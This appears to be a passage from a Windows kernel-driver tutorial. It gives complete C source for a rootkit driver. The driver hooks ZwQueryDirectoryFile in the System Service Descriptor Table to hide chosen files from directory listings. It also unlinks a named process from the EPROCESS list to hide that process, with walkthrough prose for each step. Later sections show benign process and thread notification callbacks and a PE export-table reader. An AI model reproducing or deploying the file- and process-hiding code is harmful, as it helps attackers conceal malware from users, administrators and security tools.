NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery);

typedef NTSTATUS (*qtype)(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,   PVOID IoApcContext,     PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery);

qtype OldZwQueryDirectoryFile;

NTSTATUS NewZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery)

{

NTSTATUS rc;

rc=OldZwQueryDirectoryFile(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);

DbgPrint("FileInfoClass=%d rc=%d\n",FileInfoClass,rc);

if( rc == 0 && FileInfoClass == 3)

{

FILE_BOTH_DIR_INFORMATION *p,*prev;

int last = 0;

p = prev = (FILE_BOTH_DIR_INFORMATION *)FileInformationBuffer;

while(!last)

{

if ( p->NextEntryOffset == 0)

last = 1;

wcsncpy(uFileName,p->FileName,p->FileNameLength/2);

uFileName[p->FileNameLength/2] = 0;

//DbgPrint("%S Delta=%d",uFileName,p->NextEntryOffset);

if (wcsncmp(p->FileName, uStr.Buffer ,inputBufferLength)  == 0)

{

DbgPrint("Match Found prev=%d p=%d last=%d",prev->NextEntryOffset,p->NextEntryOffset,last);

if ( p->NextEntryOffset == 0)

prev->NextEntryOffset = 0;

else

prev->NextEntryOffset = prev->NextEntryOffset + p->NextEntryOffset;

}

prev = p;

p = (FILE_BOTH_DIR_INFORMATION *)((char *)p + (int)p->NextEntryOffset);

}

}

return(rc);

}

long no;

NTSTATUS DriverDispatcher (PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

PIO_STACK_LOCATION irpStack;

//DbgPrint("DriverDispatcher");

irpStack = IoGetCurrentIrpStackLocation (Irp);

DbgPrint("DriverDispatcher");

if (irpStack->MajorFunction == IRP_MJ_CREATE)

DbgPrint("IRP_MJ_CREATE\n");

if (irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL)

{

char *inputBuffer;

ANSI_STRING aStr;

inputBuffer = Irp->AssociatedIrp.SystemBuffer;

inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

strncpy(filename,inputBuffer, inputBufferLength);

filename[inputBufferLength]=0;

RtlInitAnsiString(&aStr,filename);

RtlAnsiStringToUnicodeString(&uStr, &aStr, TRUE);

//DbgPrint("%s inputBufferLength=%d %s %S",filename,inputBufferLength,aStr.Buffer,uStr.Buffer);

}

Irp->IoStatus.Status = STATUS_SUCCESS;

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)OldZwQueryDirectoryFile;

_asm sti

IoDeleteSymbolicLink(&gSymbolicLinkName);

IoDeleteDevice(gpDeviceObject);

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

char *p;

DbgPrint("Vijay 1");

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatcher;

RtlInitUnicodeString(&gDeviceName,L"\\Device\\"DRV_NAME);

RtlInitUnicodeString(&gSymbolicLinkName,L"\\DosDevices\\"DRV_NAME);

IoCreateDevice (driverObject,0,&gDeviceName,FILE_DEVICE_UNKNOWN,0,0,&gpDeviceObject);

IoCreateSymbolicLink(&gSymbolicLinkName, &gDeviceName);

p = (char *) ZwQueryDirectoryFile;

p = p + 1;

no = *(long *)p;

OldZwQueryDirectoryFile= (qtype)KeServiceDescriptorTable. ServiceTableBase [no];

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)NewZwQueryDirectoryFile;

_asm sti

return(STATUS_SUCCESS);

}

 

This program is more generic. We run the loader as y –I calc.exe and it hides calc.exe for us. Lets see the changes made in each function. In DriverEntry there is nothing new that we have done before. We simply create the symbolic link so that we can have our ring 3 program talk to us. In DriverUnload we simply delete the links as if we do not, a fresh copy of the driver does not get loaded.

 

In the DriverDispatcher code we first extract the name of the program in variable inputBuffer and the length in inputBufferLength. As we have a ASCII string we first copy this non null terminated string in a buffer filename using strncpy and not strcpy using inputBufferLength as the no bytes to copy.

 

Then we null terminate this buffer and then use the Rtl functions to first give us a ANSI string and then a unicode string. We use the unicode string to compare the file name in the NewZwQueryDirectoryFile function. This is how we convert the ascii string passed from ring 3 to a unicode string in ring 0. Finally in the wcsncmp function we use the uStr.Buffer for the name of the file to compare. Thus we have a more generic file name hiding program.

 

P66

r.c

 

#include <ntddk.h>

#include <stdio.h>

#include <string.h>

struct process

{

char a[156];

long pid;

LIST_ENTRY *Flink,*Blink;

};

struct process *proc;

long startpid;

int inputBufferLength;

UNICODE_STRING gDeviceName,gSymbolicLinkName,uStr;

PDEVICE_OBJECT gpDeviceObject;

#define DRV_NAME L"vijayd"

char filename[100];

typedef struct

{

ULONG NextEntryOffset;

ULONG FileIndex;

LARGE_INTEGER CreationTime;

LARGE_INTEGER LastAccessTime;

LARGE_INTEGER LastWriteTime;

LARGE_INTEGER ChangeTime;

LARGE_INTEGER EndOfFile;

LARGE_INTEGER AllocationSize;

ULONG FileAttributes;

ULONG FileNameLength;

ULONG EaSize;

CCHAR ShortNameLength;

WCHAR ShortName[12];

WCHAR FileName[1];

}FILE_BOTH_DIR_INFORMATION;

typedef struct

{

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} sdt;

unsigned short uFileName[128];

__declspec(dllimport) sdt KeServiceDescriptorTable;

NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery);

typedef NTSTATUS (*qtype)(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,   PVOID IoApcContext,     PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery);

qtype OldZwQueryDirectoryFile;

NTSTATUS NewZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery)

{

NTSTATUS rc;

rc=OldZwQueryDirectoryFile(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);

//DbgPrint("FileInfoClass=%d rc=%d\n",FileInfoClass,rc);

if( rc == 0 && FileInfoClass == 3)

{

FILE_BOTH_DIR_INFORMATION *p,*prev;

int last = 0;

p = prev = (FILE_BOTH_DIR_INFORMATION *)FileInformationBuffer;

while(!last)

{

if ( p->NextEntryOffset == 0)

last = 1;

wcsncpy(uFileName,p->FileName,p->FileNameLength/2);

uFileName[p->FileNameLength/2] = 0;

//DbgPrint("%S Delta=%d",uFileName,p->NextEntryOffset);

if ( wcsncmp(p->FileName,uStr.Buffer,inputBufferLength)  == 0)

{

//DbgPrint("Match Found prev=%d p=%d last=%d",prev->NextEntryOffset,p->NextEntryOffset,last);

if ( p->NextEntryOffset == 0)

prev->NextEntryOffset = 0;

else

prev->NextEntryOffset = prev->NextEntryOffset + p->NextEntryOffset;

}

prev = p;

p = (FILE_BOTH_DIR_INFORMATION *)((char *)p + (int)p->NextEntryOffset);

}

}

proc= (struct process *) PsGetCurrentProcess ();

//DbgPrint("proc=%x name=%s",proc,filename);

startpid = proc->pid;

while (1)

{

if ( strncmp(filename,(char *)proc + 508,inputBufferLength) == 0)

break;

proc = (struct process *)( (char *)proc->Flink - 160);

if ( startpid == proc->pid)

break;

}

if ( startpid != proc->pid)

*((long *)proc->Blink) = (long) proc->Flink;

return(rc);

}

long no;

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

PIO_STACK_LOCATION irpStack;

//DbgPrint("DriverDispatcher");

irpStack = IoGetCurrentIrpStackLocation (Irp);

DbgPrint("DriverDispatcher");

if (irpStack->MajorFunction == IRP_MJ_CREATE)

DbgPrint("IRP_MJ_CREATE\n");

if (irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL)

{

char *inputBuffer;

ANSI_STRING aStr;

inputBuffer = Irp->AssociatedIrp.SystemBuffer;

inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

strncpy(filename,inputBuffer,inputBufferLength);

filename[inputBufferLength]=0;

RtlInitAnsiString(&aStr,filename);

RtlAnsiStringToUnicodeString(&uStr, &aStr, TRUE);

//DbgPrint("%s inputBufferLength=%d %s %S",filename,inputBufferLength,aStr.Buffer,uStr.Buffer);

}

Irp->IoStatus.Status = STATUS_SUCCESS;

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)OldZwQueryDirectoryFile;

_asm sti

IoDeleteSymbolicLink(&gSymbolicLinkName);

IoDeleteDevice(gpDeviceObject);

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

char *p;

DbgPrint("Vijay 2");

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatcher;

RtlInitUnicodeString(&gDeviceName,L"\\Device\\"DRV_NAME);

RtlInitUnicodeString(&gSymbolicLinkName,L"\\DosDevices\\"DRV_NAME);

IoCreateDevice (driverObject,0,&gDeviceName,FILE_DEVICE_UNKNOWN,0,0,&gpDeviceObject);

IoCreateSymbolicLink(&gSymbolicLinkName, &gDeviceName);

p = (char *) ZwQueryDirectoryFile;

p = p + 1;

no = *(long *)p;

OldZwQueryDirectoryFile= (qtype)KeServiceDescriptorTable. ServiceTableBase [no];

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)NewZwQueryDirectoryFile;

_asm sti

return(STATUS_SUCCESS);

}

 

Nothing much to explain in the above program as they are a merger of two programs. We create a global variable proc which is a pointer to our familiar structure process. Each time we set the value to the variable PsGetCurrentProcess. We then scan the circular link list until we come back to where we started.

 

Each time we check for the ascii process name stored in filename and the one pointer to by proc. If we meet a match we quit out and then when we are out of the for loop we check if we got out of the for loop if we met a match. If yes, we take the previous Blink and point it to Flink the next one. This error check we do not have included in our earlier programs.

 

This code should have actually been placed in the DriverDispatcher function as we want it to be done just once. When we uninstall the driver, we do not get our program name back as we have not saved where its EPROCESS structure is.

 

Maybe we should have used ZwQuerySystemInformation with a value of 5. That code uninstalls perfectly and thus you could cut copy paste that code instead.

 

 

P67

r.c

NTSTATUS NewZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery)

{

NTSTATUS rc;

rc=OldZwQueryDirectoryFile(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);

//DbgPrint("FileInfoClass=%d rc=%d\n",FileInfoClass,rc);

if( rc == 0 && FileInfoClass == 3)

{

FILE_BOTH_DIR_INFORMATION *p,*prev;

int last = 0;

p = prev = (FILE_BOTH_DIR_INFORMATION *)FileInformationBuffer;

while(!last)

{

if ( p->NextEntryOffset == 0)

last = 1;

wcsncpy(uFileName,p->FileName,p->FileNameLength/2);

uFileName[p->FileNameLength/2] = 0;

//DbgPrint("%S Delta=%d",uFileName,p->NextEntryOffset);

if ( wcsncmp(p->FileName,uStr.Buffer,inputBufferLength)  == 0)

{

if( last )

{                      

if( p == (FILE_BOTH_DIR_INFORMATION *) FileInformationBuffer )

rc =0x80000006;

else

prev->NextEntryOffset = 0;

break;

}

else

{

int iPos = ((ULONG)p) - (ULONG) FileInformationBuffer;

int iLeft = (long) FileInformationBufferLength - iPos - p->NextEntryOffset;

RtlCopyMemory( p,(PVOID)( (char *)p + p->NextEntryOffset),(long)iLeft);

continue;

}

}

prev = p;

p = (FILE_BOTH_DIR_INFORMATION *)((char *)p + (int)p->NextEntryOffset);

}

}

proc= (struct process *)PsGetCurrentProcess();

//DbgPrint("proc=%x name=%s",proc,filename);

startpid = proc->pid;

while (1)

{

if ( strncmp(filename,(char *)proc + 508,inputBufferLength) == 0)

break;

proc = (struct process *)( (char *)proc->Flink - 160);

if ( startpid == proc->pid)

break;

}

if ( startpid != proc->pid)

*((long *)proc->Blink) = (long) proc->Flink;

return(rc);

}

 

We tried another way of hiding files using another piece of code that we got from Greg Hogland. Lets look at his code first and tell you why things do not work. The only change in code is in the if statement where we check for a file name match. The last variable is 0 always and when it becomes one, we know that we are on the last structure. Thus when the else gets called we know that the match is not on the last file name.

 

The variable p keeps going from file name structure to structure, but the variable FileInformationBuffer is constant. Thus iPos which is the difference between p and FileInformationBuffer tells us how bytes we have read or how many structures we have seen. The size of each structure is different as the file names are different.

 

Thus if the first structure size is 100, the second 200 and our file name is the third, iPos will be 300.

Then we subtract FileInformationBufferLength the total length of all structures and iPos which is what we have read to give us the total left. We also subtract from here the size of the current file name structure that we are on.

 

Instead of setting the NextEntryOffset of the previous guy and bypassing ourselves, why not simply remove ourselves from the list by copying all the next structures over us. Thus we will copy the next structure over us, the next next over the next and so on. The RtlCopyMemory is a memcpy for the device driver world.

 

We start with the destination which is the match file name structure, the source is the current structure to which we add the offset to get at the next structure from where we are. Thus we are copying from one structure ahead of the match file name to the match file name structure starting point.

 

The iLeft variable which we just computed is the amount to copy which is the amount we have already read minus the size of the current structure which we are on right now. Thus when we find a match in the middle, we copy the next structures from the match over the match structure thereby eliminating ourselves the match file name totally. However now the size of the Buffer is not what the parameter says it is.

 

If the first if statement is true, then we are on the last structure. The first check is to check that p and the parameter FileInformationBuffer are the same. If this is true, then there is only one item in the list. P and FileInformationBuffer will be the for the first structure only. In English this means that the we have only one file name in the list and this is the matching filename. We cannot remove it from the list as it is the only one.

 

We return a value of 0x80000006 which signifies an error. This will make sure that the final program that will get this buffer will not display its contents. Thus we have not displayed the file name. There is nothing else that we can do because we cannot set the Buffer to 0. If the else is true, it means that we have found a match on the last structure and it is not the first. We do what we did earlier, i.e. set the previous structure to 0.

 

All’s fine you say. The only problem is that when we use a query like dir calc*.* and we have two files calc.exe and calc1.exe, both do not get displayed. The reason being that its not our fault. When we specify a query like calc*.* with a wildcard, the parameter PathMask now becomes non zero and you will see its value is calc*.* if you display the Buffer member. The problem is that the function NewZwQueryDirectoryFile gets called twice.

 

The first time with 1 structure calc.exe and then again with calc1.exe. The first time as it is the only one in the list we return a error. Thus the calling program does not bother to call function ZwQueryDirectoryFile again and we see no files names displayed. We scratched our heads but could come up with no solution. We tries to zero out the structure, the entry yet gets displayed.

 

The date which we will do later is of the 17th century and no file name gets displayed. We realized it is better to live with this bug.

 

P68

r.c

#include <ntddk.h>

int gProcessNameOffset;PEPROCESS curproc;int i;char *p;

VOID NotifyNow (HANDLE  ParentId,HANDLE  ProcessId,BOOLEAN  Create)

{

PsLookupProcessByProcessId ((ULONG)ProcessId, &curproc);

p = (char *)curproc;

DbgPrint("Parent=%d Pid=%d Create=%d CurProc=%x",ParentId,ProcessId,Create,curproc);

if ( Create == 1)

{

p += gProcessNameOffset;

DbgPrint("%s",p);

}

}

VOID ProcessUnload(IN PDRIVER_OBJECT DriverObject)

{

PsSetCreateProcessNotifyRoutine(NotifyNow,1);

DbgPrint("ProcessUnload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)

{

curproc = PsGetCurrentProcess();

for( i = 0; i < 3*PAGE_SIZE; i++ )

{

if( !strncmp("System", (PCHAR) curproc + i, strlen("System")))

{

gProcessNameOffset = i;

break;

}

}

DbgPrint("Vijay3 %d",gProcessNameOffset);

PsSetCreateProcessNotifyRoutine (NotifyNow,0);

DriverObject->DriverUnload = ProcessUnload;

return STATUS_SUCCESS;

}

 

The device driver guys at Microsoft gave us a simple function PsSetCreateProcessNotifyRoutine that may have a long name but simply calls a function of our choice each time we either start a process or shut it down. Thus in our case it will call a function NotifyNow, the 0 following is to add this function to the list of callback function names maintained internally.

 

In function ProcessUnload we use a 1 which means remove the function name from the list. We also find the offset of the function name from the EPROCESS structure.  Thus each time a process gets created or shut down, the function NotifyNow is called with three parameters. The last is 1 or 0, 1 signifying a process is being created.

 

The first two parameters are handles of the current process and the parent process. Handles are opaque and of no use to us. We use the undocumented function PsLookupProcessByProcessId which given a handle converts it in to a EPROCESS pointer. We then display the name of the process only if the last parameter Create is 1 as when it is zero there is no name.

 

Thus we are only notified  whenever a process is being created or dying. We can not stop or influence anything.

 

P69

r.c

#include <ntddk.h>

int gProcessNameOffset;PEPROCESS curproc;int i;char *p;

VOID NotifyNow (HANDLE  ProcessId,HANDLE  ThreadId,BOOLEAN  Create)

{

PsLookupProcessByProcessId ((ULONG)ProcessId, &curproc);

p = (char *)curproc;

DbgPrint("Pid=%d Create=%d CurProc=%x ThreadID=%d",ProcessId,Create,curproc,ThreadId);

if ( Create == 1)

{

p += gProcessNameOffset;

DbgPrint("%s",p);

}

}

VOID ProcessUnload(IN PDRIVER_OBJECT DriverObject)

{

PsSetCreateProcessNotifyRoutine(NotifyNow,1);

DbgPrint("ProcessUnload");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)

{

curproc = PsGetCurrentProcess();

for( i = 0; i < 3*PAGE_SIZE; i++ )

{

if( !strncmp("System", (PCHAR) curproc + i, strlen("System")))

{

gProcessNameOffset = i;

break;

}

}

DbgPrint("Vijay3 %d",gProcessNameOffset);

PsSetCreateThreadNotifyRoutine(NotifyNow);

DriverObject->DriverUnload = ProcessUnload;

return STATUS_SUCCESS;

}

 

Pid=1420 Create=1 CurProc=81af6d60 ThreadID=1308

getright.exe

Pid=1276 Create=1 CurProc=81b2e860 ThreadID=1132

mcvsshld.exe

Pid=440 Create=1 CurProc=81ec8780 ThreadID=1140

svchost.exe

 

Most of the above program remains the same other than one new function PsSetCreateThreadNotifyRoutine. This function unlike the previous one takes only one parameter the name of the callback function to be called. Thus we are not allowed to unload such a driver until we shut the system down. The thread callback function gets called with three parameters two the same as before and the third is the thread id.

 

If we look at the output we can see which process is creating or deleting a thread. We did what we asked you not to do, run y –u. The Blue Screen of Death happened. The system was kind enough to tell us that the offending driver was vijay.sys and also that we should not have unloaded our driver as there were operations pending.

 

The only problem was that when we rebooted, this chapter disappeared from the face of the earth. Fortunately for us, there was a funny looking temp file which we renamed to chap3 and we got back our work lost. So please do not unload the driver as God only knows what will happen.

 

#include <windows.h>

main()

{

HANDLE i,j;

i = GetModuleHandle ("ntdll.dll");

j = LoadLibrary("ntdll.dll");

printf("%x %x",i,j);

}

 

77f80000 77f80000

 

There are two ways we know of knowing where a dll is loaded in memory. The function GetModuleHandle returns the address of the dll in memory whereas function GetModuleHandle will load the dll in memory if not loaded and then return to us the address. Ntdll.dll along with kernel32.dll is loaded by windows at startup.

 

#include <windows.h>

void  DisplayFunc(PVOID Base)

{

Every DLL or exe file has a certain structure that is well documented. The dll ntdll.dll is loaded in memory at location 77f80000 stored in variable Base. The first two bytes are M and Z and the structure that starts here is documented in the header files as IMAGE_DOS_HEADER. This is a good old dos header and the member e_lfanew tells us where the actual PE header starts. This header has a magic number of PE00. A small structure defined as IMAGE_FILE_HEADER starts here. This is a small structure followed by a large 224 bytes structure called IMAGE_OPRIONAL_HEADER.

 

PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER) Base;

PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(((char *)Base) + dos-> e_lfanew);

PIMAGE_DATA_DIRECTORY expdir = nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;

ULONG size = expdir->Size;

ULONG addr = expdir->VirtualAddress;

PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(((char *)(Base))+ addr);

PULONG functions = (PULONG)(((char *)Base) + exports->AddressOfFunctions);

PSHORT ordinals = (PSHORT)(((char *)Base)+ exports->AddressOfNameOrdinals);

PULONG names = (PULONG)(((char *)Base)+ exports->AddressOfNames);

PVOID func=NULL;

ULONG i;

for (i=0; i<exports->NumberOfNames; i++)

{

ULONG ord = ordinals[i];

if (functions[ord] < addr || functions[ord]>=addr+size)

{

printf("%s %x\n",(char *)Base + names[i],functions[ord]);

}

}

}

main()

{

HANDLE j;

j = LoadLibrary("ntdll.dll");

DisplayFunc(j);

}

 

DbgBreakPoint 2144b

DbgPrint 18c08

DbgPrintReturnControlC 21504

 

We have written a lot in the past on PE files and if you find the explanation too terse we would like you to move to our site where we have long tutorials on PE files.

 

Back to the main page